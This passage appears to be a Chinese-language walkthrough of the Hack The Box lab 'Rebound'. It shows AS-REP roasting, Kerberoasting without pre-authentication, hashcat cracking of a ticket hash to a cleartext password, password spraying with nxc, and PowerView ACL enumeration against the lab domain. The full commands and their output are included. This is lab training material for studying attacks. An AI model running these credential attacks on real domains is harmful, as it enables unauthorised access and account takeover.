$krb5asrep$23$jjones@REBOUND.HTB:3239d3641178289675de507b48563875$d38399072398ef01f99a4589ba511ba0e31aa99a442c0cd20053ba522e396068f375398248f8fe5d8eb27b249f41cc166c06194e886f353d0f6f6273eb5e4df91b0d30285a231dff1fe3ba4956b735015130ec72cca6f9cfd77c08b93713f3efaa94c77dc968f4d9910f0c33e9f677a3eb12ed00b8527ddb86c43f4fd11e65f37ff5597fbe08b3d687d4910251d72df2b53363be7122aea605e6b73c27a2a5f6ea558b29b989260896dd07c8afb659d399c7985a03e56b3089fe610b77faf95c354d1d3034b1fe70b68758ef32b6f473315d6623e121c1915a5f60aa50ccf1a3cf9d829a19842aba22fe
[-] User mmalone doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User nnoon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ldap_monitor doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User oorend doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User winrm_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User batch_runner doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tbrady doesn't have UF_DONT_REQUIRE_PREAUTH set
从上面的结果我们能够知道：账户 jjones 是一个可被 AS-REP Roasting （可烤）攻击的目标。AS-REP 可烤用户指的是被设置为“不需要 Kerberos 预身份验证”的用户（其 LDAP 属性 userAccountControl 含有 DONT_REQUIRE_PREAUTH 标
志）。可烤，即可尝试破解：
sudo hashcat -m 18200
'$krb5asrep$23$jjones@REBOUND.HTB:3239d3641178289675de507b48563875$d38399072398ef01f99a4589ba511ba0e31aa99a442c0cd20053ba522e396068f375398248f8fe5d8eb27b249f41cc166c06194e886f353d0f6f6273eb5e4df91b0d30285a231dff1fe3ba4956b735015130ec72cca6f9cfd77c08b93713f3efaa94c77dc968f4d9910f0c33e9f677a3eb12ed00b8527ddb86c43f4fd11e65f37ff5597fbe08b3d687d4910251d72df2b53363be7122aea605e6b73c27a2a5f6ea558b29b989260896dd07c8afb659d399c7985a03e56b3089fe610b77faf95c354d1d3034b1fe70b68758ef32b6f473315d6623e121c1915a5f60aa50ccf1a3cf9d829a19842aba22fe' /usr/share/wordlists/rockyou.txt -r
/usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --potfile-disable -O -w 3
神秘的 hashcat 总是有内存问题, 使用 John 破解
sudo john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt jjones_hash.txt
结果
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:24 DONE (2026-07-30 01:02) 0g/s 579779p/s 579779c/s 579779C/s !!12Honey..*7¡Vamos!
Session completed.
破解不出来
但是根据资料可以利用某个用户的 DONT_REQUIRE_PREAUTH 属性，对其他用户发起 Kerberoasting 攻击。
通过这种方法，攻击者不仅可以使用已知账户发起请求，还可结合用户枚举生成的用户名列表逐一尝试。这对配置为无需预认证（ DONT_REQ_PREAUTH ）的账户尤为有效，因其允许攻击者在无需任何凭据的情况下直接获取服务票据中的加密数据，用于离线破解服务账户的长时密钥（如 NTLM 哈希）。Sname 字段的修改为Kerberoasting 提供了一种全新的路径，兼具隐蔽性与高效性。
现在 Impacket 中 GetUserSPNs. Py 已经支持这个攻击。我们可以通过 -no-preauth 参数提供不需要预身份验证的帐户 jjones ，以及 -usersfile 、 -dc-host 和域，启动这种类型的 Kerberoasting：
sudo impacket-GetUserSPNs -no-preauth jjones -usersfile users -dc-host
dc01.rebound.htb 'rebound.htb/'
结果
[-] Principal: Administrator - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: Guest - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not
found in Kerberos database)
$krb5tgs$18$krbtgt$REBOUND.HTB$*krbtgt*$0282f405960801b3a5dc9f3b$a66d1548b816c0d2cf30
286f0cdc00efe0802791199a850d52c68a30f98963086092c0da88f8eaedacb6b2a0590e20c07998c35cf
e27d3c20bd22491580cdefa9872d53e7f0ed6e37e8396f06dd8bf6734f88bf37febf3fa5ade7ae2794ad4
5debb2f4c588f8deccc7a85985ab478a481b30a3cd614fad27d7102a6479229f7e8e31d7478002ca2face
588617f26166855c3107f52f9bb0780b00bb4b792ae73718b1c3d1a010aa16840a92e09bb78b8a0b4cffb
4febf8548449494a5c6fcf84a92d5ec5b0765d2d470cc6c40019548d91c9b5114ede691c66afb98e36807
2a4c62a89115b4a897d1b39e3a4ca9f1bdc6e31ac53a28639b5962a59d240563cdccd2f3a1e5d12001c05
34b21ee26ee86b6fd9bf892a7ee467a8c927ca3dbb3b0e7792b1aaae0bf74b67443d7d2c4184ea69fb8c6
7b2c416772128b8b0424f8fb684a181836515b9fb6ed7c4a687ce6d386c048aa9da04f10838c7c5b750fb
a2547a6343ef8c4020f92be5313a56a388bb7860707c6d9366df9341bd66e45f36618b7bf75b5a7e7fe51
8a85fb347ee15741028800c2f3c83ed072035c75f32fdf93a6f351e86103ebabb0335a97d5033b7d71a62
1e9811480702a1c09fef2caf6b033fcc379c752bf06690520bdd11ec527e6968955cc429d82e376425265
ae13e773dbe692bd36f9e5143dc6856e777b7c63563bc3517cedfc65cb8544cf033043ce266a7feec0ad3
630f53f63158710596a605e40bcf4037a321213eb3d8d3e79d2cf9ce43b8326aac2358b489008d17ea149
245d64547bac6b74ede29a6d3044964904b84cd4ad9be1cf8b50506e3dc86d16f0e1423daa9e5bf555bb7
9ca90c5601b76c6450b7bb26f35437b2161378433b6564fac3742b16b586fb907ffe159ffcdfc0215d09b
4bb41f1670105e25b8257beeaaabac505dc2ea90a231a2b1458b03fb7a5967ca677203215381ed0ddb0e8
8f0340426fc07a1b8d94b5a5a846caa6ffcb71042ffe882cfcfc848f70ca5028e756c26ef684c8e1b840f
70852c75e1e4c7b37fd112e85b414864356af8ac0312327be042598c5e4b58bf4665f7843515a763dddbe
6778e03626dd4b57c11464da0529a8ebf10b1ab882a60f72389bc1d03ce1f2c950e0284c94b25563778e6
4e1828edac1f155d07870bd5e059806ed5f40a5cbf58f3c5da2e5762594359192694f0f6c6496a8cf5a1f
7f26d3c81f28b8912ff32d59e2fe9fea32a5fe62707ab669b52812813006df1837d48d77b5c9a2835f524
e9bf1c84e0d2f1d852f912a21cc8b1e5b214a2bef7c84035ec8e292c679228df22b75779bfba97083dd74
2615d15cd52f9f7c00fff8b0e9b0725a1833ed12b27ffb91288467ed447f22d0e96ce9114b49cf8ae0bc0
f5c16084150c67d786dac3292bde306650321a8df10a093679855a36a22dcd21bd2dff52e9c075a9dd929
7c1f780e5f9430f85ded724b
[-] Principal: ppaul - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not
found in Kerberos database)
[-] Principal: llune - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not
found in Kerberos database)
[-] Principal: fflock - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not
found in Kerberos database)
[-] Principal: jjones - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not
found in Kerberos database)
[-] Principal: mmalone - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Servernot found in Kerberos database)
[-] Principal: nnoon - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not
found in Kerberos database)
$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$1f6a342cc92087a6f1efa20f7dcf7768$
550bb886afe5f0121bd2ca7673110fdeaaf4ed510262eaae37cd84e70b93be6748e2afdfc3ee39f086d6e
dd86382aa926eda37150bbaa599cb542b31d975ceac3c4a71b9fdf4bb77e92a2fe745d18fdb54ee598a7c
dc8d5fba847d4511e950f51e5e2bb8b06f209a8ab7dbc679de85a695cc963a59cd4c90f640030b29d7ab8
18e017844f8b84faa70e8146617cea59d181a1138a65f2f583bfb290c34dd810f0013eb44c75247440f30
0866f89442f034ca71142d81f36d2ac58bcde655db57893344885d4c3750391c692427d38f0f49c3acc44
96808e52296ac88624eeeca3a2d818da3cb6b6dc05f9ea9769e197659cf5ab543cea04e6c04e235cea537
104b1f63ba1350f4ca6b2a85d4392a75ecc4dc8bd111897e8acec4da71d7b27eefeafa2fe8086b6cbd40e
8792625fa72f218ecaa816d87a368d83e06e9cf60e448105944033cd3dfbfb99de1e9711af7ae12b6188c
aa1ada0ec56841be0e3aa7c1a62e900d45a493de51b88a7232e9698df5eb42d1f8f5750d20f7e350f0c02
9467687fb4fbd9c531966c9bb67a8901ffafe218ceb137379c30666b8f8f55f7440171dc4046e29fe9120
902e68cf9c57bfca161e03a24233d2048ef1b143d670686ec5bdcec5deaa5114bb2046f6312fd5ccc81ee
ae364682cb43ba9688ea60558bf78ddfe18272e7153092eb4761624f58237837eb6124248a4c12ff2aef7
41140915ab32c5df36561007e860e289b6c72269377cc22ce16a00f547d774e014b09152d84dacdccc4b1
775f6b3cd56742c5b4b49c2767b3524657b69e93b356dbe36a050ad5600206e49a4f89e3c1bc921d27a33
83f20f1685fc580d76908a941d6e0e9f7c5865cd8193fbda4f693b2ce757aa0756c759700364ee7a265bf
be71080c045e6c09cd432dfbc7feb0c7672075f64505de2e1570cee4f2c00213b9b188fdd6cbbcce8429d
6d911d45b9aa1b5af3e82c67db6656943188fd312f7d7219fe1d3a956cd7868edaa441a307aa54934647a
73b797c53af493f7e6839e58b100282828f38df65f46c148c28028fe3a1ab0ec5539c2affa22c7b01fa1b
e631c370e700fc9d2d3f5a59e563dfe678d6282a1782ff75fb04a3e8dea9e8ac6d5af22b6ce00f1ba46ab
f7647fdb234e3bc07d82349c3e32d2d084855283e1a266df8639747db1cfd60fd9ac73449717b07e57294
f5db63fb21f7d4475eb438aec45fcc4f2b3bd4cee53596e27bec67df2f9f426927cf4efde82eecc2f5967
ed688b1fdf8c6be5ca0d7a95b8e0d3d99c304202931eb61ea94ff2b601e99f4f355945e53437d10d1af58
8719111b8243822727696cff94854abd20e51bc67b3585bc85a229
[-] Principal: oorend - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not
found in Kerberos database)
[-] Principal: winrm_svc - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server
not found in Kerberos database)
[-] Principal: batch_runner - Kerberos SessionError:
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: tbrady - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not
found in Kerberos database)
尝试破解
sudo hashcat -m 13100
'$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$1f6a342cc92087a6f1efa20f7dcf7768
$550bb886afe5f0121bd2ca7673110fdeaaf4ed510262eaae37cd84e70b93be6748e2afdfc3ee39f086d6
edd86382aa926eda37150bbaa599cb542b31d975ceac3c4a71b9fdf4bb77e92a2fe745d18fdb54ee598a7
cdc8d5fba847d4511e950f51e5e2bb8b06f209a8ab7dbc679de85a695cc963a59cd4c90f640030b29d7ab
818e017844f8b84faa70e8146617cea59d181a1138a65f2f583bfb290c34dd810f0013eb44c75247440f3
00866f89442f034ca71142d81f36d2ac58bcde655db57893344885d4c3750391c692427d38f0f49c3acc4
496808e52296ac88624eeeca3a2d818da3cb6b6dc05f9ea9769e197659cf5ab543cea04e6c04e235cea53
7104b1f63ba1350f4ca6b2a85d4392a75ecc4dc8bd111897e8acec4da71d7b27eefeafa2fe8086b6cbd40
e8792625fa72f218ecaa816d87a368d83e06e9cf60e448105944033cd3dfbfb99de1e9711af7ae12b6188
caa1ada0ec56841be0e3aa7c1a62e900d45a493de51b88a7232e9698df5eb42d1f8f5750d20f7e350f0c0
29467687fb4fbd9c531966c9bb67a8901ffafe218ceb137379c30666b8f8f55f7440171dc4046e29fe912
0902e68cf9c57bfca161e03a24233d2048ef1b143d670686ec5bdcec5deaa5114bb2046f6312fd5ccc81e
eae364682cb43ba9688ea60558bf78ddfe18272e7153092eb4761624f58237837eb6124248a4c12ff2aef
741140915ab32c5df36561007e860e289b6c72269377cc22ce16a00f547d774e014b09152d84dacdccc4b
1775f6b3cd56742c5b4b49c2767b3524657b69e93b356dbe36a050ad5600206e49a4f89e3c1bc921d27a3
383f20f1685fc580d76908a941d6e0e9f7c5865cd8193fbda4f693b2ce757aa0756c759700364ee7a265b
fbe71080c045e6c09cd432dfbc7feb0c7672075f64505de2e1570cee4f2c00213b9b188fdd6cbbcce8429
d6d911d45b9aa1b5af3e82c67db6656943188fd312f7d7219fe1d3a956cd7868edaa441a307aa54934647
a73b797c53af493f7e6839e58b100282828f38df65f46c148c28028fe3a1ab0ec5539c2affa22c7b01fa1
be631c370e700fc9d2d3f5a59e563dfe678d6282a1782ff75fb04a3e8dea9e8ac6d5af22b6ce00f1ba46a
bf7647fdb234e3bc07d82349c3e32d2d084855283e1a266df8639747db1cfd60fd9ac73449717b07e5729
4f5db63fb21f7d4475eb438aec45fcc4f2b3bd4cee53596e27bec67df2f9f426927cf4efde82eecc2f596
7ed688b1fdf8c6be5ca0d7a95b8e0d3d99c304202931eb61ea94ff2b601e99f4f355945e53437d10d1af5
88719111b8243822727696cff94854abd20e51bc67b3585bc85a229'/usr/share/wordlists/rockyou.txt --potfile-disable -O -w 3
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6,
SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====================================================================================
=======================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz, 6925/13914 MB
(2048 MB allocatable), 6MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 31
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$1f6a342cc92087a6f1efa20f7dcf7768$
550bb886afe5f0121bd2ca7673110fdeaaf4ed510262eaae37cd84e70b93be6748e2afdfc3ee39f086d6e
dd86382aa926eda37150bbaa599cb542b31d975ceac3c4a71b9fdf4bb77e92a2fe745d18fdb54ee598a7c
dc8d5fba847d4511e950f51e5e2bb8b06f209a8ab7dbc679de85a695cc963a59cd4c90f640030b29d7ab8
18e017844f8b84faa70e8146617cea59d181a1138a65f2f583bfb290c34dd810f0013eb44c75247440f30
0866f89442f034ca71142d81f36d2ac58bcde655db57893344885d4c3750391c692427d38f0f49c3acc44
96808e52296ac88624eeeca3a2d818da3cb6b6dc05f9ea9769e197659cf5ab543cea04e6c04e235cea537
104b1f63ba1350f4ca6b2a85d4392a75ecc4dc8bd111897e8acec4da71d7b27eefeafa2fe8086b6cbd40e
8792625fa72f218ecaa816d87a368d83e06e9cf60e448105944033cd3dfbfb99de1e9711af7ae12b6188c
aa1ada0ec56841be0e3aa7c1a62e900d45a493de51b88a7232e9698df5eb42d1f8f5750d20f7e350f0c02
9467687fb4fbd9c531966c9bb67a8901ffafe218ceb137379c30666b8f8f55f7440171dc4046e29fe9120
902e68cf9c57bfca161e03a24233d2048ef1b143d670686ec5bdcec5deaa5114bb2046f6312fd5ccc81ee
ae364682cb43ba9688ea60558bf78ddfe18272e7153092eb4761624f58237837eb6124248a4c12ff2aef7
41140915ab32c5df36561007e860e289b6c72269377cc22ce16a00f547d774e014b09152d84dacdccc4b1
775f6b3cd56742c5b4b49c2767b3524657b69e93b356dbe36a050ad5600206e49a4f89e3c1bc921d27a33
83f20f1685fc580d76908a941d6e0e9f7c5865cd8193fbda4f693b2ce757aa0756c759700364ee7a265bf
be71080c045e6c09cd432dfbc7feb0c7672075f64505de2e1570cee4f2c00213b9b188fdd6cbbcce8429d
6d911d45b9aa1b5af3e82c67db6656943188fd312f7d7219fe1d3a956cd7868edaa441a307aa54934647a
73b797c53af493f7e6839e58b100282828f38df65f46c148c28028fe3a1ab0ec5539c2affa22c7b01fa1b
e631c370e700fc9d2d3f5a59e563dfe678d6282a1782ff75fb04a3e8dea9e8ac6d5af22b6ce00f1ba46ab
f7647fdb234e3bc07d82349c3e32d2d084855283e1a266df8639747db1cfd60fd9ac73449717b07e57294
f5db63fb21f7d4475eb438aec45fcc4f2b3bd4cee53596e27bec67df2f9f426927cf4efde82eecc2f5967
ed688b1fdf8c6be5ca0d7a95b8e0d3d99c304202931eb61ea94ff2b601e99f4f355945e53437d10d1af58
8719111b8243822727696cff94854abd20e51bc67b3585bc85a229:1GR8t@$$4u
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*...85a229
Time.Started.....: Fri Dec 27 13:22:10 2024 (5 secs)
Time.Estimated...: Fri Dec 27 13:22:15 2024 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2649.2 kH/s (1.81ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 13040455/14344385 (90.91%)
Rejected.........: 2887/13040455 (0.02%)
Restore.Point....: 13034311/14344385 (90.87%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 1```````` -> 1GARTHCLOSE
Hardware.Mon.#1..: Util: 75%
Cracking performance lower than expected?
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => Started: Fri Dec 27
13:22:10 2024
Stopped: Fri Dec 27 13:22:16 2024
获得凭据
ldap_monitor:1GR8t@$$4u
测试一下
┌──(kali㉿kali)-[~/Desktop/HTB Rebound]
└─$ sudo nxc smb rebound.htb -u ldap_monitor -p '1GR8t@$$4u'
[sudo] password for kali:
SMB 10.129.232.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.31 445 DC01 [+] rebound.htb\ldap_monitor:1GR8t@$$4u
┌──(kali㉿kali)-[~/Desktop/HTB Rebound]
└─$ sudo nxc winrm rebound.htb -u ldap_monitor -p '1GR8t@$$4u'
WINRM 10.129.232.31 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:rebound.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.232.31 5985 DC01 [-] rebound.htb\ldap_monitor:1GR8t@$$4u
┌──(kali㉿kali)-[~/Desktop/HTB Rebound]
└─$ sudo nxc ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u'
LDAP 10.129.232.31 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:rebound.htb) (signing:Enforced) (channel binding:Always)
LDAP 10.129.232.31 389 DC01 [+] rebound.htb\ldap_monitor:1GR8t@$$4u
┌──(kali㉿kali)-[~/Desktop/HTB Rebound]
└─$ sudo nxc ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -k
LDAP rebound.htb 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:rebound.htb) (signing:Enforced) (channel binding:Always)
LDAP rebound.htb 389 DC01 [-] rebound.htb\ldap_monitor:1GR8t@$$4u KRB_AP_ERR_SKEW
适用于 SMB。Winrm 和 ldap 均认证失败。通常，任何域用户至少可以连接到 LDAP，现在是失败的，并提示 LDAPS channel binding might be enabled, this is only supported with kerberos
Authentication. Try using '-k' 。
强制 kerberos 认证的方式尝试一下
sudo nxc ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -k
LDAP rebound.htb 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:rebound.htb) (signing:Enforced) (channel binding:Always)
LDAP rebound.htb 389 DC01 [-] rebound.htb\ldap_monitor:1GR8t@$$4u KRB_AP_ERR_SKEW
报错 KRB_AP_ERR_SKEW ，其中 skew 是偏移的意思，在 RFC 4120 的 Web 浏览器页面面，直接 ctrl+f 搜索 KRB_AP_ERR_SKEW 关键字，不难确定，KRB_AP_ERR_SKEW 表示 Kali 和靶机的域控服务器之间的时间不同步，超出了 Kerberos 协议允许的时间偏移（通常为 5 分钟），导致认证失败。即还是时间同步问题，同步一下：
sudo ntpdate rebound.htb
sudo nxc ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -k
SMB rebound.htb 445 DC01 [*] Windows 10 / Server 2019
Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS rebound.htb 636 DC01 [+] rebound.htb\ldap_monitor
可以的，之所以要 Kerberos 认证，推测是为了防止 NTLM 中继攻击。
密码喷洒
现在我们有 ldap_monitor 的凭据（ ldap_monitor:1GR8t@ $ $ 4u ），我们可以用这个密码对其他用户进行喷洒：
sudo nxc smb rebound.htb -u users -p '1GR8t@$$4u' -d rebound.htb --continue-on-success
结果
SMB 10.129.232.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.31 445 DC01 [-] rebound.htb\Administrator:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.129.232.31 445 DC01 [-] rebound.htb\Guest:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.129.232.31 445 DC01 [-] rebound.htb\krbtgt:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.129.232.31 445 DC01 [-] rebound.htb\ppaul:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.129.232.31 445 DC01 [-] rebound.htb\llune:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.129.232.31 445 DC01 [-] rebound.htb\fflock:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.129.232.31 445 DC01 [-] rebound.htb\jjones:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.129.232.31 445 DC01 [-] rebound.htb\mmalone:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.129.232.31 445 DC01 [-] rebound.htb\nnoon:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.129.232.31 445 DC01 [+] rebound.htb\ldap_monitor:1GR8t@$$4u
SMB 10.129.232.31 445 DC01 [+] rebound.htb\oorend:1GR8t@$$4u
SMB 10.129.232.31 445 DC01 [-] rebound.htb\winrm_svc:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.129.232.31 445 DC01 [-] rebound.htb\batch_runner:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.129.232.31 445 DC01 [-] rebound.htb\tbrady:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.129.232.31 445 DC01 [+] rebound.htb\delegator:1GR8t@$$4u (Guest)
得到
ldap_monitor:1GR8t@$$4u和oorend:1GR8t@$$4u
现在喷洒成功，获得了 oorend 的凭据，结合实际运维场景推测，oorend 很可能拥有更丰富的权限，这为进一步的操作提供了更大可能性。
┌──(kali㉿kali)-[~/Desktop/HTB Rebound]
└─$ sudo nxc smb rebound.htb -u oorend -p '1GR8t@$$4u'
SMB 10.129.232.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.31 445 DC01 [+] rebound.htb\oorend:1GR8t@$$4u
┌──(kali㉿kali)-[~/Desktop/HTB Rebound]
└─$ sudo nxc winrm rebound.htb -u oorend -p '1GR8t@$$4u'
WINRM 10.129.232.31 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:rebound.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.232.31 5985 DC01 [-] rebound.htb\oorend:1GR8t@$$4u
┌──(kali㉿kali)-[~/Desktop/HTB Rebound]
└─$ sudo nxc ldap rebound.htb -u oorend -p '1GR8t@$$4u'
LDAP 10.129.232.31 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:rebound.htb) (signing:Enforced) (channel binding:Always)
LDAP 10.129.232.31 389 DC01 [+] rebound.htb\oorend:1GR8t@$$4u
┌──(kali㉿kali)-[~/Desktop/HTB Rebound]
└─$ sudo nxc ldap rebound.htb -u oorend -p '1GR8t@$$4u' -k
LDAP rebound.htb 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:rebound.htb) (signing:Enforced) (channel binding:Always)
LDAP rebound.htb 389 DC01 [-] rebound.htb\oorend:1GR8t@$$4u KRB_AP_ERR_SKEW
枚举和攻击路径评估
sudo impacket-smbexec rebound.htb/oorend:'1GR8t@$$4u'@10.129.232.31
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
sudo impacket-smbexec rebound.htb/ldap_monitor:'1GR8t@$$4u'@10.129.232.31
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
我们可以使用用 Powerview. Py 做域枚举
chmod +x powerview.py
python3 ./powerview.py rebound.htb/oorend:'1GR8t@$$4u'@10.129.229.114 -k
存在不同步问题。
同步后再次连接：
┌──(powerview_env)─(kali㉿kali)-[~/Desktop/HTB Rebound/powerview.py]
└─$ powerview rebound.htb/oorend:'1GR8t@$$4u'@10.129.232.31 -k
Logging directory is set to /home/kali/.powerview/logs/rebound
╭─LDAPS─[dc01.rebound.htb]─[rebound\oorend]-[NS:10.129.232.31]
╰─ ❯
进入调试
首先观察两个用户
Get-DomainUser -Identity ldap_monitor
结果
objectClass : top
person
organizationalPerson
user
cn : ldap_monitor
distinguishedName : CN=ldap_monitor,CN=Users,DC=rebound,DC=htb
name : ldap_monitor
objectGUID : {cf7691bd-5b32-407d-9d42-262013f10288}
userAccountControl : NORMAL_ACCOUNT
DONT_EXPIRE_PASSWORD
badPwdCount : 0
badPasswordTime : 08/04/2023 15:46:25 (3 years, 3 months ago)
lastLogoff : 1601-01-01 00:00:00+00:00
lastLogon : 08/04/2023 16:23:35 (3 years, 3 months ago)
pwdLastSet : 08/04/2023 09:07:56 (3 years, 3 months ago)
primaryGroupID : 513
objectSid : S-1-5-21-4078382237-1492182817-2568127209-7681
sAMAccountName : ldap_monitor
sAMAccountType : SAM_USER_OBJECT
servicePrincipalName : ldapmonitor/dc01.rebound.htb
objectCategory : CN=Person,CN=Schema,CN=Configuration,DC=rebound,DC=htb
lastLogonTimestamp : 30/07/2026 12:46:53 (today)
vulnerabilities : [VULN-001] Kerberoastable account (MEDIUM)
[VULN-002] User account with password that never expires (LOW)
Get-DomainUser -Identity oorend
结果
objectClass : top
person
organizationalPerson
user
cn : oorend
distinguishedName : CN=oorend,CN=Users,DC=rebound,DC=htb
name : oorend
objectGUID : {edb118e8-3995-45d9-89f1-bf978e4e7fa4}
userAccountControl : NORMAL_ACCOUNT
DONT_EXPIRE_PASSWORD
badPwdCount : 0
badPasswordTime : 09/04/2023 09:54:33 (3 years, 3 months ago)
lastLogoff : 1601-01-01 00:00:00+00:00
lastLogon : 30/07/2026 13:58:38 (today)
pwdLastSet : 08/04/2023 09:07:56 (3 years, 3 months ago)
primaryGroupID : 513
objectSid : S-1-5-21-4078382237-1492182817-2568127209-7682
sAMAccountName : oorend
sAMAccountType : SAM_USER_OBJECT
objectCategory : CN=Person,CN=Schema,CN=Configuration,DC=rebound,DC=htb
lastLogonTimestamp : 30/07/2026 13:03:26 (today)
vulnerabilities : [VULN-002] User account with password that never exp
根据两个用户的 objectSid 进一步查询：
Get-DomainObjectAcl -SecurityIdentifier S-1-5-21-4078382237-1492182817-2568127209-7682
结果
[2026-07-30 14:01:55] [Get-DomainObjectAcl] Recursing all domain objects. This might take a while
ObjectDN : CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
ObjectSID : S-1-5-21-4078382237-1492182817-2568127209-7683
ACEType : ACCESS_ALLOWED_ACE
ACEFlags : None
ActiveDirectoryRights : Self
AccessMask : Self
InheritanceType : None
SecurityIdentifier : REBOUND\oorend
